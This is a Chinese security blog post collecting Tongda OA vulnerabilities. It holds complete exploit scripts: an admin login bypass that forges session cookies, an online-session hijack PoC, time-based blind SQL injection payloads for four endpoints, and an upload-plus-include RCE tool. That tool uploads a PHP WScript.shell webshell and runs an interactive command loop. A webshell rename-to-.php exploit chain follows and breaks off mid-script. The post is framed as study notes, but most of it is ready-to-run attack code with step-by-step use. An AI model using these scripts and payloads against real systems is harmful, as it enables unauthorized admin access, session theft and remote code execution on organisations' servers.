通达OAの漏洞合集

h0cksr

发布于 2023-05-18 09:19:05

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发布于 2023-05-18 09:19:05

通达OAの漏洞合集

两三个月之前实习的时候通达OA的漏洞学习笔记，赶紧发了清一下库存，免得文件夹吃灰。

起初原本是想把全部洞都调一遍的,但是最后发现洞太多也没那么多时间全部调完了而通达的漏洞还是比较好理解的,所以最后就变成了漏洞整合集,复现后便直接将师傅们的分析和调试过程简述了一下,而我自己调试的过程也没有弄太多截图贴上来,但是在每部分后面都有参考链接,如果直接看文章不明白的话可以到参考链接看链接师傅们的文章进行复现.

一些准备

通达OA的代码是加密的，可以使用SeayDzend工具解密,如果只是要解密单个关键文件也可通过http://dezend.qiling.org/free.html完成

OA11.6+解密工具

链接: https://pan.baidu.com/s/1Wh9g4Xp1nIqZ5zPRt8rARg 密码: 77ch

通达OA 2015-2017版本

任意文件上传漏洞（一） general/reportshop/utils/upload.php 文件中存在任意文件上传漏洞，攻击者可在任意用户登录的状态下通过该文件上传接口，上传任意文件到指定的文件夹中。
任意文件上传漏洞（二） mobile/reportshop/report/getdata.php 文件中存在任意文件上传漏洞，攻击者可在任意用户登录的状态下通过该文件上传接口，上传任意文件到指定的文件夹中。
文件包含漏洞（一） inc/second_tabs.php 文件中存在文件包含漏洞，攻击者可在任意用户登录的状态下通过该漏洞，包含任意文件，最终可执行任意PHP代码。
文件包含漏洞（二） general/reportshop/utils/upload.php 文件中存在文件包含漏洞，攻击者可在任意用户登录的状态下通过该漏洞，包含任意文件，最终可执行任意PHP代码。
任意文件删除漏洞 general/reportshop/utils/upload.php 文件中存在任意文件删除漏洞，攻击者可在任意用户登录的状态下通过该漏洞，删除任意文件。

参考文章: https://www.freebuf.com/vuls/247358.html

通达OA < 11.5任意用户登录

脚本分析

POC链接

exp脚本:

import requests
from random import choice
import argparse
import json

USER_AGENTS = [
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
    "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
    "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
    "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
    "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
    "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
    "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]

headers={}

def getV11Session(url):
    checkUrl = url+'/general/login_code.php'
    try:
        headers["User-Agent"] = choice(USER_AGENTS)
        res = requests.get(checkUrl,headers=headers)
        resText = str(res.text).split('{')
        codeUid = resText[-1].replace('}"}', '').replace('\r\n', '')
        getSessUrl = url+'/logincheck_code.php'
        res = requests.post(
            getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)
        tmp_cookie = res.headers['Set-Cookie']
        headers["User-Agent"] = choice(USER_AGENTS)
        headers["Cookie"] = tmp_cookie
        check_available = requests.get(url + '/general/index.php',headers=headers)
        if '用户未登录' not in check_available.text:
            if '重新登录' not in check_available.text:
                print('[+]Get Available COOKIE:' + tmp_cookie)
        else:
            print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')
    except:
        print('[-]Something Wrong With '+url)

def get2017Session(url):
    checkUrl = url+'/ispirit/login_code.php'
    try:
        headers["User-Agent"] = choice(USER_AGENTS)
        res = requests.get(checkUrl,headers=headers)
        resText = json.loads(res.text)
        codeUid = resText['codeuid']
        codeScanUrl = url+'/general/login_code_scan.php'
        res = requests.post(codeScanUrl, data={'codeuid': codeUid, 'uid': int(
            1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'},headers=headers)
        resText = json.loads(res.text)
        status = resText['status']
        if status == str(1):
            getCodeUidUrl = url+'/ispirit/login_code_check.php?codeuid='+codeUid
            res = requests.get(getCodeUidUrl)
            tmp_cookie = res.headers['Set-Cookie']
            headers["User-Agent"] = choice(USER_AGENTS)
            headers["Cookie"] = tmp_cookie
            check_available = requests.get(url + '/general/index.php',headers=headers)
            if '用户未登录' not in check_available.text:
                if '重新登录' not in check_available.text:
                    print('[+]Get Available COOKIE:' + tmp_cookie)
            else:
                print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')
        else:
            print('[-]Something Wrong With '+url  + ' Maybe Not Vulnerable ?')
    except:
        print('[-]Something Wrong With '+url)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-v",
        "--tdoaversion",
        type=int,
        choices=[11, 2017],
        help="Target TongDa OA Version. e.g: -v 11、-v 2017")
    parser.add_argument(
        "-url",
        "--targeturl",
        type=str,
        help="Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1"
    )
    args = parser.parse_args()
    url = args.targeturl
    if 'http://' not in url:
        url = 'http://' + url
    if args.tdoaversion == 11:
        getV11Session(url)
    elif args.tdoaversion == 2017:
        get2017Session(url)
    else:
        parser.print_help()

可以看到脚本中只有两个关键函数: getV11Session和get2017Session

分别看一下这两个函数做了什么:

注: admin用户的UID为1,后台获取用户数据就是根据UID查找数据库

getV11Session函数

请求/general/login_code.php

随机获取使用一个User-Agent请求会获取到一张二维码,里面会有一个UID,使用分割获取这个UID

请求/logincheck_code.php

继续使用上面的UA进行请求,携带以下POST参数:

{
'CODEUID': '{'+codeUid+'}',#就是上面从二维码获取到的UID,后台会先判断redis数据库缓存中是否存在CODEUID,如果1不存在则直接退出,存在之后才会进行下一步根据UID查询数据库并返回查找到的用户的cookie
'UID': int(1)#设UID为1,后台查询UID为1的用户数据,并且生成对应用户(admin)的cookie
}

CODEUID={E7EB1BCA-FEB6-47C4-A8F4-A9DA4CD121CB}&UID=1

获取响应头中的Set-Cookie参数并且作为下一次请求的Cookie

请求/general/index.php

使用上面获得的cookie作为headers["Cookie"]发出get请求,

检测返回结果,如果返回结果中既没有重新登录也没有用户未登录则说明登录成功,获得一个admin用户的cookie并输出这个cookie

get2017Session函数

请求/ispirit/login_code.php

这里和getV11Session函数请求/general/login_code.php的作用是一样的,获取到一个codeuid

请求/general/login_code_scan.php

使用一个UA携带以下数据发出一个POST请求

{
'codeuid': codeUid, 
'uid': int(1), #根据uid查询数据库,admin用户的uid为1
'source': 'pc', 
'type': 'confirm', 
'username': 'admin'
}

codeuid={97D65940-1EEA-0A99-FC93-834C0800576C}&uid=1&source=pc&type=confirm&username=admin

返回一个json数据,我们获取里面的status,只有当status为1的时候我们才能进行下一步的利用

请求/ispirit/login_code_check.php?codeuid=codeUid

使用上面获取的codeuid作为参数codeuid参数发出get请求

取出响应头中的Set-Cookie(和上面一样,如果成功的话这个就是admin用户的cookie)

请求/general/index.php

使用获取的Set-Cookie作为headers["Cookie"]发一个get请求,检测漏洞利用是否成功,

如果返回结果中既没有重新登录也没有用户未登录则说明登录成功,获得一个admin用户的cookie并输出这个cookie

结果上面的利用,最终的结果都是获得一个admin用户的cookie从而让我们可以作为admin用户访问后台

原理解析

漏洞成因在于logincheck_code.php文件,它的检测逻辑如下:

检测用户请求参数中的codeUid在redis缓存中是否存在,若不存在则直接结束程序,存在则继续
获取请求的UID参数,然后执行sql查询语句select * from USER where UID=$UID
将查询获取到的数据进行相应的session赋值

所以只要我们获取到一个redis缓存中存在的codeuid,同时设置UID=1那么session数据赋值就会变为admin用户的数据,区别不同在于第一种情况访问logincheck_code.php就能直接获得这个admin用户的cookie,而第二种情况还需要去访问login_code_scan.php才会得到这个admin用户的cookie

通达OA v11.7 在线用户登录漏洞

v11.7的登录漏洞分析可以转参考文章

这个漏洞有点特殊,一个是必须是指定版本的v11.7,还必须是在线用户(当前数据库中还有这个用户的有效会话session)才会触发该漏洞,具体原理看源码和下面的解析就知道了

通达OA v11.7 中webroot\mobile\auth_mobi.php接口存在漏洞，无验证即可查询某个用户是否在线并返回PHPSESSION值使其可登录后台系统。

直接看一下漏洞文件代码:

<?php

function relogin()
{
    echo _("RELOGIN");
    exit();
}

ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility.php";
if ((isAvatar == "1") && (uid != "") && (P_VER != "")) {sql = "SELECT SID FROM user_online WHERE UID = 'uid' and CLIENT = 'P_VER'";
    cursor = exequery(TD::conn(),sql);

    if (row = mysql_fetch_array(cursor)) {
        P =row["SID"];
    }
}

if (P == "") {P = _COOKIE["PHPSESSID"];

    if (P == "") {
        relogin();
        exit();
    }
}

if (preg_match("/[^a-z0-9;]+/i", P)) {
    echo _("非法参数");
    exit();
}

if (strpos(P, ";") !== false) {
    MY_ARRAY = explode(";",P);
    P = trim(MY_ARRAY[1]);
}

session_id(P);
session_start();
session_write_close();
if ((_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
    relogin();
}

?>

直接贴个poc:

import requests
import sys
import re
import time

def poc(url,uid):
    url = f'{url}/mobile/auth_mobi.php?isAvatar=1&uid={uid}&P_VER=0'
    while True:
        res = requests.get(url)
        if res.status_code == 200:
            if res.text == '':
                cookies = re.findall(r'PHPSESSID=(.*?);', str(res.headers))
                print('[+]目标在线,PHPSESSID=' + cookies[0])
                break
            if 'RELOGIN' in res.text:
                print('[+]目标用户不在线')
        time.sleep(2)
def main(argv):
    print('------------------------------------------')
    print('[+]适用版本：通达OA 11.7 ')
    print('[+]使用格式: python3 poc.py url uid')
    print('------------------------------------------')
    poc(argv[0],argv[1])

if __name__ == '__main__':
    main(sys.argv[1:])

可以看到脚本的需要两个参数,一个是url链接,另一个是想要登录的用户的uid

看一下poc函数:

请求/mobile/auth_mobi.php

这里只向/mobile/auth_mobi.php发出了一个请求,同时携带着三个get参数:

isAvatar=1&
P_VER=0&
uid={uid}

isAvatar=1
uid 不为空,需要查谁就填对应用户的uid
P_VER 不为空 表示登录设备类型

带着这三个参数进入源码看一下:

if ((isAvatar == "1") && (uid != "") && (P_VER != "")) {sql = "SELECT SID FROM user_online WHERE UID = 'uid' and CLIENT = 'P_VER'";
cursor = exequery(TD::conn(),sql);

if (row = mysql_fetch_array(cursor)) {
    P =row["SID"];
}
}

这三个参数满足了if的条件判断,进入结构体中,可以看到将我们的UID和P_VER参数带入后执行了一个select语句,然后将返回结果的SID字段取出赋值给$P

注意: 这里的这个SID就是用户的Session ID

返回的SID分为空和非空两种情况

当返回的SID为空,表示当前查询的UID对应的用户并没有SID数据,也就是这个用户当前并没有登录产生有效的session. 如果SID为空并且当前请求没有携带PHPSESSIDcookie参数,则输出RELOGIN后退出
返回非空,表示这个UID对应的用户有有效的session,那么后面就会对其进行一些判断:strpos(P, ";") !== false,preg_match("/[^a-z0-9;]+/i",
最后执行到session_id($P);,会将取出的这个session赋值为当前会话的session,到这里我们就可以得到我们所获取的目标用户的session了

可以看到,这个漏洞点在于会查询数据库中我们指定UID的用户的session,如果该用户当前无有效session就会输出返回RELOGIN,有的话就会设置为当前会话的session,从而导致我们成功完成在线用户登录

Tips:这里感觉可以直接改一下脚本遍历众多的UID把有效的session输出即可

后续想要完成文件上传webshell可以参考文章: https://blog.csdn.net/HBohan/article/details/119181417

通达OA的sql注入点

下面这些注入漏洞点和会议信息的未授权访问均来自于文章全网首发|通达OA多枚0day漏洞分享,原文中还有各个漏洞文件的漏洞函数点的详细截图,要做复现看源码的推荐看原文

注入点一:

漏洞参数: starttime
POST-URI: /general/appbuilder/web/calendar/calendarlist/getcallist
DATA: starttime=AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1

漏洞文件：webroot\general\appbuilder\modules\calendar\models\Calendar.php。

get_callist_data函数接收传入的begin_date变量未经过滤直接拼接在查询语句中造成注入。

利用条件：一枚普通账号登录权限，但测试发现，某些低版本也无需登录也可注入。

注入点二:

漏洞参数: orderby
GET-URI: /general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=sample%40email.tst&orderby=1&pagelimit=20&tag=&timestamp=1598069133&total=

漏洞文件：webroot\inc\utility_email.php，

get_sentbox_data函数接收传入参数未过滤，直接拼接在order by后面了造成注入。

利用条件：一枚普通账号登录权限，但测试发现，某些低版本也无需登录也可注入。

注入点三:

漏洞参数: orderby
GET_URI: /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=&timestamp=1598069103&total=

漏洞文件：webroot\inc\utility_email.php，get_email_data函数传入参数未过滤，直接拼接在order by后面了造成注入。

利用条件：一枚普通账号登录权限，但测试发现，某些低版本也无需登录也可注入。

注入点四:

漏洞参数：id
GET-URI: /general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2

漏洞文件：webroot\general\appbuilder\modules\report\controllers\RepdetailController.php，

actionEdit函数中存在一个$_GET["id"]; 未经过滤，拼接到SQL查询中，造成了SQL注入。

利用条件：一枚普通账号登录权限，但测试发现，某些低版本也无需登录也可注入。

未授权访问各种会议通知信息

直接访问下面URI即可:

/general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=1597997506&view=agendaDay

参考链接: https://cloud.tencent.com/developer/article/1688772 全网首发 | 通达OA多枚0day漏洞分享

通达OA 任意文件上传漏洞

这个文件上传漏洞的学习可以转到通达OA任意文件上传漏洞详细分析

这个漏洞的利用不需要用户登录,利用的是文件上传+文件包含两个点完成RCE,这两个点分别有版本限制:

只有V11版和2017版有包含文件的php
V11版 2017版 2016版 2015版 2013增强版 2013版可进行文件上传

脚本分析

#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
# oa通达文件上传加文件包含远程代码执行
import requests
import re
import sys

def oa(url):
    upurl = url + '/ispirit/im/upload.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
    data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\ncommand=_POST['cmd'];\r\nwsh = new COM('WScript.shell');\r\nexec = wsh->exec(\"cmd /c \".command);\r\nstdout =exec->StdOut();\r\nstroutput =stdout->ReadAll();\r\necho $stroutput;\r\n?>\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n"
    req = requests.post(url=upurl, headers=headers, data=data)
    filename = "".join(re.findall("2003_(.+?)\|",req.text))
    in_url = url + '/ispirit/interface/gateway.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
    data = "json=
{\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % 
(filename,"echo php00py")
    include_req = requests.post(url=in_url, headers=headers, data=data)
    if  'php00py' in include_req.text:
        print("[+] OA RCE vulnerability ")
        return filename
    else:
        print("[-] Not OA RCE vulnerability ")
        return False
def oa_rce(url, filename,command):
    url = url + '/ispirit/interface/gateway.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
    data = "json=
{\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % 
(filename,command)
    req = requests.post(url, headers=headers, data=data)
    print(req.text)

if __name__ == '__main__':
        if len(sys.argv) < 2:
            print("please input your url python oa_rce.py http://127.0.0.1:8181")
        else:
            url = sys.argv[1]
            filename = oa(url)
            while filename:
                try:
                    command = input("wran@shelLhost#")
                    if command == "exit" or command == "quit":
                        break
                    else:
                        oa_rce(url,filename,command)
                except KeyboardInterrupt:
                    break

可以看到poc脚本中有两个函数:oa和oa_rce,oa_rce其实就是省去文件上传部分的oa函数,所以这里就只看oa函数

请求/ispirit/im/upload.php —– 上传文件

第一个请求其实就是使用form表单传参的方式传输了三个参数和一个webshell文件:

P=1
DEST_UID=1222222
UPLOAD_MODE=2
webshell-file

然后将返回的结果使用正则匹配获取文件名: filename = "".join(re.findall("2003_(.+?)|",req.text))

参数解析:

P: 判断P参数是否为空，不为空就开启session
判断DEST_UID是否为空，为空就会退出(DEST_UID如果不包含有,就会被intval函数转为int类型然后赋值给$DEST_UID)
如果DEST_UID=0并且UPLOAD_MODE!=2就会退出 Tips:UPLOAD_MODE总共有1,2,3，其中1,2,3如果成功了是有回显的
最后检测_FILES文件变量是否为空(也就是有没有文件上传),如果有的话就会获取其中的_FILES["ATTACHMENT"],并且会对

请求/ispirit/interface/gateway.php —– 文件包含

第二个文件包含的请求有两个变量,就是定义一个json变量,同时这个变量为json格式,里面有一个url变量

json={"url":"../../../general/../attach/im/2003/filename.jpg"}
cmd=webshell包含执行的命令

解释一下这两个参数的作用:

url 然后检测url是否为空,检测url中是否有出现general/，ispirit/，module/,只要出现其中的任意一个就会对这个文件进行文件包含
cmd其实可有可无,这个就是包含webshell的时候执行的命令参数

原理解析

已经在请求的参数解析部分讲的差不多了,详细的可以看参考链接通达OA任意文件上传漏洞详细分析

通达OA v11.7文件上传+后缀修改

参考链接: https://blog.csdn.net/HBohan/article/details/119181417

通过访问/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0可以获得admin的session(可能失败,原因看上面分析),然后直接访问/general/index.php进入后台,后续上传文件的操作如下(就是绕过目录限制上传一个websehll的.jpg然后修改这个.jpg变为.php):

通过系统管理->系统信息得到当前项目绝对路径(记为PATH)
通过系统管理->附件管理添加一个目录PATH/webroot而webroot会被过滤，但是代码逻辑没有检查大小写(windows下目录不会区分大小写)，所以我们改为Webroot或webRoot等就可以轻松绕过。这里需要注意的是我们需要将发布范围里添加一个系统管理员，否则会失败。
通过个人事务->个人文件柜上传webshell(后缀为.jpg,这是为了能够看到我们的webshell文件路径)
通过知识管理->图片浏览(这就是为什么要.jpg的图片后缀的原因了)查看上传的webshell文件路径
回到个人事务->个人文件柜找到我们上传的.jpg后缀的webshell文件然后进行编辑
鼠标放到我们webshell.jpg上面，然后点击重命名(注意点击之前开代理抓包) 抓包后修改参数: ATTACHMENT_NAME_POSTFIX=php.(这个就是新文件拓展名,注意.不能少,原因没细看,应该是不能改为php格式,但是可以改为php.而在windows中不允许文件名以.结尾所以会将结尾的.删除从而php.的后缀就变为.php) NEW_FILE_NAME=123(这个是新文件的文件名,随便取一个即可)
退出编辑可以看到附件文件就是我们的webshell文件123.php(这个附件文件是和webshell.jpg文件在同一文件夹下的)
拼接websehll路径,使用之前的websehll.jpg文件目录+123.php即可访问到123.php(webroot目录使我们可以直接访问的)

附一个参考文章的poc(感觉写太多函数了看起来有点麻烦):

#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
#define yinhao = "
#define Rootre = <td nowrap class="TableData">(.*?)</td>
#define contentidre = "TableLine1" index="(.*?)" >
#define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?),"
#define shellpathre = alt="(.*?)" node-image-tips
function GetCookie(url){
        res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
        if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){
                return "";
        }
        PHPSESSID = GettextMiddle(res[1],"PHPSESSID=",";");
        return PHPSESSID;
}
function JudgeOK(url,Cookie){
        res = HttpGet(url."/general/",Cookie);
        if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){
                return "0";
        }else{
                return "1";
        }

}
function GetRoot(content){
        list = StrRe(content,Rootre);
        num = GetArrayNum(list);
        num = num/2;
        i = 0;
        while(i<num){
                if(StrFindStr(list[ToInt(i*2+1)],":\",0) != "-1"){
                        return list[ToInt(i*2+1)];
                }
                i = i+1;
        }
        return "";
}
function GetWebRoot(url,Cookie){
        res = HttpGet(url."/general/system/reg_view/",Cookie);
        return GetRoot(res[0]);
}
function AddPath(url,Root,Cookie){
        return HttpPost(url."/general/system/attachment/position/add.php","POS_ID=166&POS_NAME=166&POS_PATH=".URLEncode(Root."\WebRoot")."&IS_ACTIVE=on",Cookie);
}
function AddImgPath(url,Root,Cookie){
        return HttpPost(url."/general/system/picture/new/submit.php","TO_ID=&TO_NAME=&PRIV_ID=&PRIV_NAME=&COPY_TO_ID=admin%2C&COPY_TO_NAME=%CF%B5%CD%B3%B9%DC%C0%ED%D4%B1%2C&PIC_NAME=test&PIC_PATH=".URLEncode(Root."\webRoot")."&ROW_PIC=5&ROW_PIC_NUM=7",Cookie);
}
function PushImg(url,Content,Cookie){
        return HttpPost(url."/general/file_folder/new/submit.php",Content,Cookie.StrRN()."Content-Type: multipart/form-data; boundary=---------------------------33072116513621237124579432636");
}
function GetPICID(url,Cookie){
        res = HttpGet(url."/general/picture/tree.php?CUR_DIR=&PIC_ID=&_=1615284234507",Cookie);
        return GettextMiddle(res[0],"&PIC_ID=",yinhao);
}
function GetImg(url,Root,Cookie){
        res = HttpGet(url."/general/picture/picture_view.php?SUB_DIR=2103&PIC_ID=".GetPICID(url,Cookie)."&CUR_DIR=".URLEncode(StrReplace(Root,"\\","/"))."%2Fwebroot%2Ffile_folder%2F2103",Cookie);
        list = StrRe(res[0],shellpathre);
        num = GetArrayNum(list);
        num = num/2;
        i = 0;
        while(i<num){
                if(StrFindStr(list[ToInt(i*2+1)],"1.jpg",0) != "-1"){
                        return list[ToInt(i*2+1)];
                }
                i = i+1;
        }
        return "";
}
function ChangeImgName(url,CONTENT,ATTACHMENT,Cookie){
        return HttpPost(url."/general/file_folder/rename_submit.php","NEW_FILE_NAME=166&CONTENT_ID=".CONTENT."&FILE_SORT=2&ATTACHMENT_ID=".URLEncode(ATTACHMENT)."&ATTACHMENT_NAME_POSTFIX=php.&ATTACHMENT_NAME=1.jpg&FIRST_ATTACHMENT_NAME=1&FILE_NAME_OLD=1.jpg",Cookie);
}
function GetCONTENTID(url,Cookie){
        res = HttpGet(url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0",Cookie);
        list = StrRe(res[0],contentidre);
        if(GetArrayNum(list) >= 2){
                return list[1];
        }
        return "";
}
function GetATTACHMENTID(url,CONTENTID,Cookie){
        res = HttpGet(url."/general/file_folder/edit.php?FILE_SORT=2&SORT_ID=0&CONTENT_ID=".CONTENTID."&start=0",Cookie.StrRN()."Referer: ".url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0");
        list = StrRe(res[0],attachmentidre);
        if(GetArrayNum(list) >= 2){
                return list[1];
        }
        return "";
}
function GetShell(url){
        PHPSESSID = GetCookie(url);
        if(PHPSESSID == ""){
                return "";
        }
        Cookie = "Cookie: PHPSESSID=".PHPSESSID.";".StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0";
        if(JudgeOK(url,Cookie)=="1"){
                WebRoot = GetWebRoot(url,Cookie);
                AddPath(url,WebRoot,Cookie);
                AddImgPath(url,WebRoot,Cookie);
                ShellPost = ReadFile(".\OAShell.txt");
                PushImg(url,ShellPost,Cookie);
                path = GetImg(url,WebRoot,Cookie);
                CONTENTID = GetCONTENTID(url,Cookie);
                ATTACHMENTID=GetATTACHMENTID(url,CONTENTID,Cookie);
                ChangeImgName(url,CONTENTID,ATTACHMENTID,Cookie);
